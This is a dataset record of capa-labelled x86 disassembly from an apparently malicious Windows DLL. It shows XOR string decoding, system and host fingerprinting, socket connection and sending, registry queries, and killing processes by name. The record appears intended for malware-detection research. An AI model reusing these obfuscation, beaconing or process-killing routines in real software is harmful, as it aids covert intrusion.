joyce8/EMBER2024-capa huggingface dataset:
Function at 0x100029d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x59
xor eax, eax
mov dl, byte [edi + eax - 0xe7a4c7f]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x16
jb 0x100029e1
pop edi
mov byte [esi + 0x16], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002a90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x6d
xor eax, eax
mov dl, byte [edi + eax + 0x7b48a0d4]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x1a
jb 0x10002aa1
pop edi
mov byte [esi + 0x1a], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002b50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x70
xor eax, eax
mov dl, byte [edi + eax - 0x2a0c3c7f]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x2c
jb 0x10002b61
pop edi
mov byte [esi + 0x2c], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002b90
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0x73
xor eax, eax
mov dl, byte [edi + eax - 0x3d0b1b3b]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x21
jb 0x10002ba1
pop edi
mov byte [esi + 0x21], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002c50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xa1
xor eax, eax
mov dl, byte [edi + eax + 0x4349d7c]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x26
jb 0x10002c61
pop edi
mov byte [esi + 0x26], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002d00
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xaa
xor eax, eax
mov dl, byte [edi + eax + 0x36b371d1]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x17
jb 0x10002d11
pop edi
mov byte [esi + 0x17], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002db0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xb3
xor eax, eax
mov dl, byte [edi + eax - 0x2a2c2c47]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x21
jb 0x10002dc1
pop edi
mov byte [esi + 0x21], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10002df0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xbb
xor eax, eax
mov dl, byte [edi + eax + 0x46e32c0f]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x21
jb 0x10002e01
pop edi
mov byte [esi + 0x21], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10002e80
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xcc
xor eax, eax
mov dl, byte [edi + eax + 0x37c834e8]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x26
jb 0x10002e91
pop edi
mov byte [esi + 0x26], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10003070
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xec
xor eax, eax
mov dl, byte [edi + eax - 0x4c5d553]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x21
jb 0x10003081
pop edi
mov byte [esi + 0x21], 0
mov eax, esi
pop esi
pop ebp
ret 4

Function at 0x10003190
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, ecx
mov ecx, 0xef
xor eax, eax
mov dl, byte [edi + eax - 0x20ea7df6]
xor dl, cl
inc ecx
mov byte [eax + esi], dl
inc eax
movzx ecx, cl
cmp eax, 0x43
jb 0x100031a1
pop edi
mov byte [esi + 0x43], 0
mov eax, esi
pop esi
pop ebp
ret 4
Function at 0x10005540
Capabilities:
Get memory capacity

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd8
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push 0x94
lea eax, [ebp - 0xd8]
push 0
push eax
call fcn.1001ba60
add esp, 0xc
mov dword [ebp - 0xd8], 0x94
lea eax, [ebp - 0xd8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
lea eax, [ebp - 0x44]
mov dword [ebp - 0x44], 0x40
push eax
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatusEx]
mov esi, dword [ebp - 0x3c]
mov ecx, esi
mov edx, dword [ebp - 0x38]
mov eax, edx
shrd ecx, eax, 0x14
shr eax, 0x14
sub esi, dword [ebp - 0x34]
push ecx
sbb edx, dword [ebp - 0x30]
shrd esi, edx, 0x14
push esi
push dword [ebp - 0xcc]
shr edx, 0x14
push dword [ebp - 0xd0]
push dword [ebp - 0xd4]
push str.PREMIUM
push str._CheckSystemInformation__ClientVersion:__s__SystemVersion:__d._d._d__MemoryUsage:__d__dmb
push 0
call fcn.100098b0
mov ecx, dword [ebp - 4]
add esp, 0x20
xor ecx, ebp
pop esi
call fcn.10018f04
mov esp, ebp
pop ebp
ret

Function at 0x100055f0
Capabilities:
Connect socket
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
mov esi, ecx
push edi
mov edi, dword [ebp + 8]
cmp dword [esi + 4], 0xffffffff
je 0x1000567b
push dword [ebp + 0xc]
mov eax, 2
mov word [ebp - 0x14], ax
call dword [sym.imp.WS2_32.dll_htons]
push edi
mov word [ebp - 0x12], ax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
cmp eax, 0xffffffff
jne 0x10005653
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
je 0x10005653
movsx ecx, word [eax + 0xa]
mov eax, dword [eax + 0xc]
push ecx
push dword [eax]
lea eax, [ebp - 0x10]
push eax
call fcn.1001b4e0
add esp, 0xc
push 0x10
lea eax, [ebp - 0x14]
push eax
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1000568f
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
je 0x1000568f
mov ecx, esi
call fcn.10007c90
pop edi
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018f04
mov esp, ebp
pop ebp
ret 8
push 0x23
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_WSAEventSelect]
cmp eax, 0xffffffff
jne 0x100056e8
mov eax, dword [esi + 4]
cmp eax, 0xffffffff
je 0x100056b8
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi + 4], 0xffffffff
mov eax, dword [esi + 8]
test eax, eax
je 0x100056cd
push eax
call dword [sym.imp.WS2_32.dll_WSACloseEvent]
mov dword [esi + 8], 0
pop edi
mov byte [esi + 0x100038], 0
xor al, al
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018f04
mov esp, ebp
pop ebp
ret 8
push 0x80000
lea eax, [esi + 0xc]
push 0
push eax
call fcn.1001ba60
push 0x80000
lea eax, [esi + 0x80010]
mov dword [esi + 0x8000c], 0
push 0
push eax
call fcn.1001ba60
mov ecx, dword [ebp - 4]
add esp, 0x18
mov dword [esi + 0x100010], 0
xor ecx, ebp
mov byte [esi + 0x100038], 1
mov al, 1
pop edi
pop esi
call fcn.10018f04
mov esp, ebp
pop ebp
ret 8
Function at 0x10007780
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100350a6
mov eax, dword fs:[0]
push eax
sub esp, 0x648
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov eax, dword [ebp + 0xc]
mov ebx, dword [ebp + 8]
mov dword [ebp - 0x654], eax
mov eax, dword [0x10037828]
mov dword [ebp - 0x18], eax
mov ax, word [0x1003782c]
mov word [ebp - 0x14], ax
lea eax, [ebp - 0x620]
push eax
push 0x3ff
call dword [sym.imp.KERNEL32.dll_GetLogicalDriveStringsW]
test eax, eax
je 0x100078e4
lea esi, [ebp - 0x620]
nop dword [eax]
mov ax, word [esi]
mov word [ebp - 0x18], ax
lea eax, [ebp - 0x220]
push 0x104
push eax
lea eax, [ebp - 0x18]
push eax
call dword [sym.imp.KERNEL32.dll_QueryDosDeviceW]
test eax, eax
je 0x100078d0
xor eax, eax
mov dword [ebp - 0x624], 7
mov dword [ebp - 0x628], 0
mov word [ebp - 0x638], ax
cmp word [ebx], ax
je 0x1000784f
mov eax, ebx
lea edx, [eax + 2]
nop dword [eax]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x10007840
sub eax, edx
sar eax, 1
push eax
push ebx
lea ecx, [ebp - 0x638]
call fcn.1000dea0
cmp word [ebp - 0x220], 0
mov dword [ebp - 4], 0
jne 0x10007871
xor ecx, ecx
jmp 0x1000788f
lea ecx, [ebp - 0x220]
lea edx, [ecx + 2]
nop word [eax + eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x10007880
sub ecx, edx
sar ecx, 1
push ecx
push 0
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x638]
call fcn.1000f6b0
mov edi, eax
cmp edi, 0xffffffff
jne 0x10007902
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x624]
cmp eax, 8
jb 0x100078d0
inc eax
lea ecx, [ebp - 0x638]
push eax
push dword [ebp - 0x638]
call fcn.1000e1d0
nop dword [eax]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x100078d0
cmp word [esi], ax
jne 0x100077f0
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.10018f04
mov esp, ebp
pop ebp
ret
lea eax, [ebp - 0x220]
push eax
lea ecx, [ebp - 0x650]
call fcn.100036b0
mov eax, dword [eax + 0x10]
lea ecx, [ebp - 0x638]
push esi
inc eax
mov byte [ebp - 4], 1
push eax
push edi
call fcn.10010d50
mov eax, dword [ebp - 0x63c]
cmp eax, 8
jb 0x10007948
inc eax
lea ecx, [ebp - 0x650]
push eax
push dword [ebp - 0x650]
call fcn.1000e1d0
cmp dword [ebp - 0x624], 8
lea eax, [ebp - 0x638]
cmovae eax, dword [ebp - 0x638]
push eax
push dword [ebp + 0x10]
push dword [ebp - 0x654]
call fcn.1001e29d
mov eax, dword [ebp - 0x624]
add esp, 0xc
cmp eax, 8
jb 0x1000798c
inc eax
lea ecx, [ebp - 0x638]
push eax
push dword [ebp - 0x638]
call fcn.1000e1d0
mov al, 1
jmp 0x100078e6
Function at 0x10007ab0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x8000c
call fcn.10018f20
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push edi
mov edi, ecx
mov dword [ebp - 0x80008], eax
lea ebx, [edi + 0x10001c]
push ebx
mov dword [ebp - 0x8000c], ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [edi + 4], 0xffffffff
je 0x10007c73
cmp byte [edi + 0x100038], 0
je 0x10007c73
push esi
push 0x80000
lea eax, [ebp - 0x80004]
push 0
push eax
call fcn.1001ba60
mov esi, dword [ebp + 0xc]
lea eax, [ebp - 0x80004]
push esi
push dword [ebp - 0x80008]
push eax
call fcn.1001b4e0
add esp, 0x18
cmp byte [ebp - 0x80004], 0xc1
jne 0x10007b46
push dword [ebp - 0x80002]
lea eax, [esi - 3]
push eax
lea eax, [ebp - 0x80001]
jmp 0x10007b56
push dword [ebp - 0x80001]
lea eax, [esi - 4]
push eax
lea eax, [ebp - 0x80000]
push eax
call fcn.10009af0
mov ecx, dword [edi + 0x100010]
add esp, 0xc
test ecx, ecx
jle 0x10007bb8
lea eax, [ecx + esi]
cmp eax, 0x80000
jle 0x10007b96
mov ecx, edi
call fcn.10007c90
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018f04
mov esp, ebp
pop ebp
ret 8
push esi
lea eax, [ebp - 0x80004]
push eax
lea eax, [edi + 0x80010]
add eax, ecx
push eax
call fcn.1001b4e0
add esp, 0xc
add dword [edi + 0x100010], esi
push ebx
jmp 0x10007be9
xor ebx, ebx
test esi, esi
jle 0x10007be2
nop
push 0
push esi
lea eax, [ebp - 0x80004]
add eax, ebx
push eax
push dword [edi + 4]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x10007c04
sub esi, eax
add ebx, eax
test esi, esi
jg 0x10007bc0
mov eax, dword [ebp - 0x8000c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
mov al, 1
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018f04
mov esp, ebp
pop ebp
ret 8
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
cmp eax, 0x2733
jne 0x10007c4a
mov ecx, dword [edi + 0x100010]
lea eax, [ecx + esi]
cmp eax, 0x80000
jg 0x10007c4a
lea eax, [ebp - 0x80004]
add eax, ebx
push esi
push eax
lea eax, [edi + 0x80010]
add eax, ecx
push eax
call fcn.1001b4e0
add esp, 0xc
lea eax, [edi + 0x10001c]
add dword [edi + 0x100010], esi
jmp 0x10007be8
mov ecx, edi
call fcn.10007c90
lea eax, [edi + 0x10001c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop edi
xor al, al
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.10018f04
mov esp, ebp
pop ebp
ret 8
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [ebp - 4]
xor al, al
pop edi
xor ecx, ebp
pop ebx
call fcn.10018f04
mov esp, ebp
pop ebp
ret 8
Function at 0x10007d30
Capabilities:
Encode data using xor
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push edi
mov edi, dword [ebp + 0xc]
lea eax, [ebp + 0xc]
push 0x1003781c
push dword [ebp + 8]
mov dword [ebp - 4], ecx
push eax
mov dword [edi], 0xffffffff
mov dword [ebp + 0xc], 0
call fcn.1001ea90
add esp, 0xc
test eax, eax
je 0x10007d69
xor al, al
pop edi
mov esp, ebp
pop ebp
ret 0xc
push ebx
push esi
mov esi, dword [ebp + 0x10]
push esi
call fcn.1001e699
add esp, 4
mov ebx, eax
mov dword [ebp + 8], ebx
push dword [ebp + 0xc]
test ebx, ebx
jne 0x10007d96
call fcn.1001ecdf
add esp, 4
xor al, al
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
push esi
push 1
push ebx
call fcn.1001f3d8
add esp, 0x10
test eax, eax
je 0x10007de6
mov esi, ebx
test eax, eax
je 0x10007dd1
nop dword [eax]
mov ebx, dword [edi]
lea esi, [esi + 1]
movzx ecx, byte [esi - 1]
movzx edx, bl
xor edx, ecx
shr ebx, 8
mov ecx, dword [ebp - 4]
xor ebx, dword [ecx + edx*4]
mov dword [edi], ebx
sub eax, 1
jne 0x10007db0
mov ebx, dword [ebp + 8]
push dword [ebp + 0xc]
push dword [ebp + 0x10]
push 1
push ebx
call fcn.1001f3d8
add esp, 0x10
test eax, eax
jne 0x10007da6
push ebx
call fcn.1001e694
push dword [ebp + 0xc]
call fcn.1001ecdf
not dword [edi]
add esp, 8
mov al, 1
pop esi
pop ebx
pop edi
mov esp, ebp
pop ebp
ret 0xc
Function at 0x10008be0
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x294
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
lea eax, [ebp - 0x294]
push eax
push 0x101
call dword [sym.imp.WS2_32.dll_WSAStartup]
push 0xff
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
lea eax, [ebp - 0x104]
push eax
call dword [sym.imp.WS2_32.dll_gethostbyname]
mov eax, dword [eax + 0xc]
mov eax, dword [eax]
push dword [eax]
call dword [sym.imp.WS2_32.dll_inet_ntoa]
mov esi, eax
call dword [sym.imp.WS2_32.dll_WSACleanup]
mov ecx, dword [ebp - 4]
mov eax, esi
xor ecx, ebp
pop esi
call fcn.10018f04
mov esp, ebp
pop ebp
ret

Function at 0x10009440
Capabilities:
Hash data using crc32b

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
mov edx, 0x80
xor ecx, ecx
mov dword [ebp - 4], ecx
xor eax, eax
test cl, 1
cmovne eax, edx
shr ecx, 1
test cl, 1
je 0x10009466
bts eax, 6
shr ecx, 1
test cl, 1
je 0x10009471
bts eax, 5
shr ecx, 1
test cl, 1
je 0x1000947c
bts eax, 4
shr ecx, 1
test cl, 1
je 0x10009487
bts eax, 3
shr ecx, 1
test cl, 1
je 0x10009492
bts eax, 2
shr ecx, 1
test cl, 1
je 0x1000949d
bts eax, 1
test cl, 2
je 0x100094a6
bts eax, 0
shl eax, 0x18
mov ecx, eax
and ecx, 0x80000000
neg ecx
sbb ecx, ecx
add eax, eax
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov edx, ecx
and edx, 0x80000000
neg edx
lea eax, [ecx + ecx]
sbb edx, edx
and edx, 0x4c11db7
xor edx, eax
mov ecx, edx
and ecx, 0x80000000
neg ecx
lea eax, [edx + edx]
sbb ecx, ecx
and ecx, 0x4c11db7
xor ecx, eax
mov ebx, ecx
and ebx, 0x80000000
neg ebx
lea eax, [ecx + ecx]
sbb ebx, ebx
and ebx, 0x4c11db7
xor ebx, eax
mov eax, dword [ebp - 4]
xor edx, edx
mov dword [edi + eax*4], ebx
lea esi, [edi + eax*4]
lea ecx, [edx + 1]
nop
test bl, 1
je 0x1000957f
mov eax, 0x20
sub eax, ecx
bts edx, eax
inc ecx
shr ebx, 1
cmp ecx, 0x21
jl 0x10009570
mov ecx, dword [ebp - 4]
inc ecx
mov dword [esi], edx
mov dword [ebp - 4], ecx
mov edx, 0x80
cmp ecx, 0xff
jle 0x10009453
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10009610
Capabilities:
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x130
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 0
push 0xf
mov dword [ebp - 0x130], esi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov edi, eax
mov dword [ebp - 0x12c], 0x128
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32First
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x100096ba
nop dword [eax + eax]
lea eax, [ebp - 0x108]
push esi
push eax
call fcn.1002162e
add esp, 8
test eax, eax
jne 0x100096a9
push dword [ebp - 0x124]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100096a3
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp dword [ebp - 0x124], eax
je 0x100096a3
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
call ebx
mov esi, dword [ebp - 0x130]
lea eax, [ebp - 0x12c]
push eax
push edi
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x10009660
push edi
call ebx
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10018f04
mov esp, ebp
pop ebp
ret
Function at 0x10009720
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x88
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, ecx
mov dword [ebp - 0x88], eax
cmp dword [ebx + 0x18], 0
je 0x10009894
push esi
push edi
lea ecx, [ebp - 0x80]
push ecx
push eax
call dword [sym.imp.USER32.dll_BeginPaint]
mov esi, eax
lea eax, [ebp - 0x40]
push eax
push dword [ebx + 4]
mov dword [ebp - 0x84], esi
call dword [sym.imp.USER32.dll_GetClientRect]
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push dword [ebx + 0x18]
mov edi, eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push edi
push dword [ebx + 0x14]
mov esi, eax
push dword [ebx + 0x10]
push 0
push 0
push dword [ebp - 0x84]
call dword [sym.imp.GDI32.dll_BitBlt]
push esi
mov esi, dword [sym.imp.GDI32.dll_SelectObject]
push edi
call esi
push edi
call dword [sym.imp.GDI32.dll_DeleteDC]
cmp byte [ebx + 0x20], 1
jne 0x10009882
push str.Segoe_UI
push 2
push 5
push 0
push 8
push 1
push 0
push 0
push 0
push 0x12c
push 0
push 0
push 0
push 0xe
call dword [sym.imp.GDI32.dll_CreateFontA]
mov edi, dword [ebp - 0x84]
push eax
push edi
call esi
push 1
push edi
call dword [sym.imp.GDI32.dll_SetBkMode]
push dword [ebx + 0x120]
push edi
call dword [sym.imp.GDI32.dll_SetTextColor]
lea esi, [ebx + 0x21]
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10009810
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0x25
push eax
push 0x12
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
mov edx, 0x3e
xor ecx, ecx
mov al, byte [ecx + str.P03__1fuxyk]
xor al, dl
mov byte [ebp + ecx - 0x30], al
inc ecx
lea eax, [edx + 1]
movzx edx, al
cmp ecx, 0x29
jb 0x10009832
lea eax, [ebp - 0x30]
mov byte [ebp - 7], 0
push eax
push esi
call fcn.100127d0
mov ecx, esi
add esp, 8
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x10009860
mov eax, dword [ebx + 0x14]
sub ecx, edx
push ecx
push esi
sub eax, 0xf
push eax
mov eax, dword [ebx + 0x10]
sub eax, 0xdc
push eax
push edi
call dword [sym.imp.GDI32.dll_TextOutA]
lea eax, [ebp - 0x80]
push eax
push dword [ebp - 0x88]
call dword [sym.imp.USER32.dll_EndPaint]
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10018f04
mov esp, ebp
pop ebp
ret 4
Function at 0x10009af0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
mov edx, dword [ebp + 0xc]
push ebx
mov bl, byte [ebp + 0x10]
movsx eax, bl
movd xmm0, eax
xor eax, eax
punpcklbw xmm0, xmm0
punpcklwd xmm0, xmm0
pshufd xmm1, xmm0, 0
test edx, edx
jle 0x10009b81
push esi
mov esi, dword [ebp + 8]
cmp edx, 0x20
jb 0x10009b6b
mov ecx, edx
push edi
and ecx, 0x8000001f
jns 0x10009b2d
dec ecx
or ecx, 0xffffffe0
inc ecx
movaps xmm2, xmmword [0x10038370]
mov edi, edx
sub edi, ecx
lea ecx, [esi + 0x10]
nop dword [eax + eax]
movups xmm0, xmmword [ecx - 0x10]
add eax, 0x20
lea ecx, [ecx + 0x20]
pxor xmm0, xmm2
psubb xmm0, xmm1
movups xmmword [ecx - 0x30], xmm0
movups xmm0, xmmword [ecx - 0x20]
pxor xmm0, xmm2
psubb xmm0, xmm1
movups xmmword [ecx - 0x20], xmm0
cmp eax, edi
jl 0x10009b40
pop edi
cmp eax, edx
jge 0x10009b80
nop
mov cl, byte [eax + esi]
xor cl, 0xa0
sub cl, bl
mov byte [eax + esi], cl
inc eax
cmp eax, edx
jl 0x10009b70
pop esi
pop ebx
pop ebp
ret

Function at 0x10009b90
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10c]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push 1
push 0
push eax
push connect
mov dword [ebp - 0x110], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10009bff
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x114]
push eax
push 0
push esi
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x108]
xor ecx, ebp
pop esi
call fcn.10018f04
mov esp, ebp
pop ebp
ret

Function at 0x10009c20
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x114
mov eax, dword [0x10188da4]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x10c]
push esi
mov esi, dword [ebp + 0xc]
push ecx
push 1
push 0
push eax
push connect
mov dword [ebp - 0x110], 0x104
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x10009c8f
lea eax, [ebp - 0x110]
push eax
lea eax, [ebp - 0x108]
push eax
lea eax, [ebp - 0x114]
push eax
push 0
push esi
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 0x10c]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 4]
lea eax, [ebp - 0x108]
xor ecx, ebp
pop esi
call fcn.10018f04
mov esp, ebp
pop ebp
ret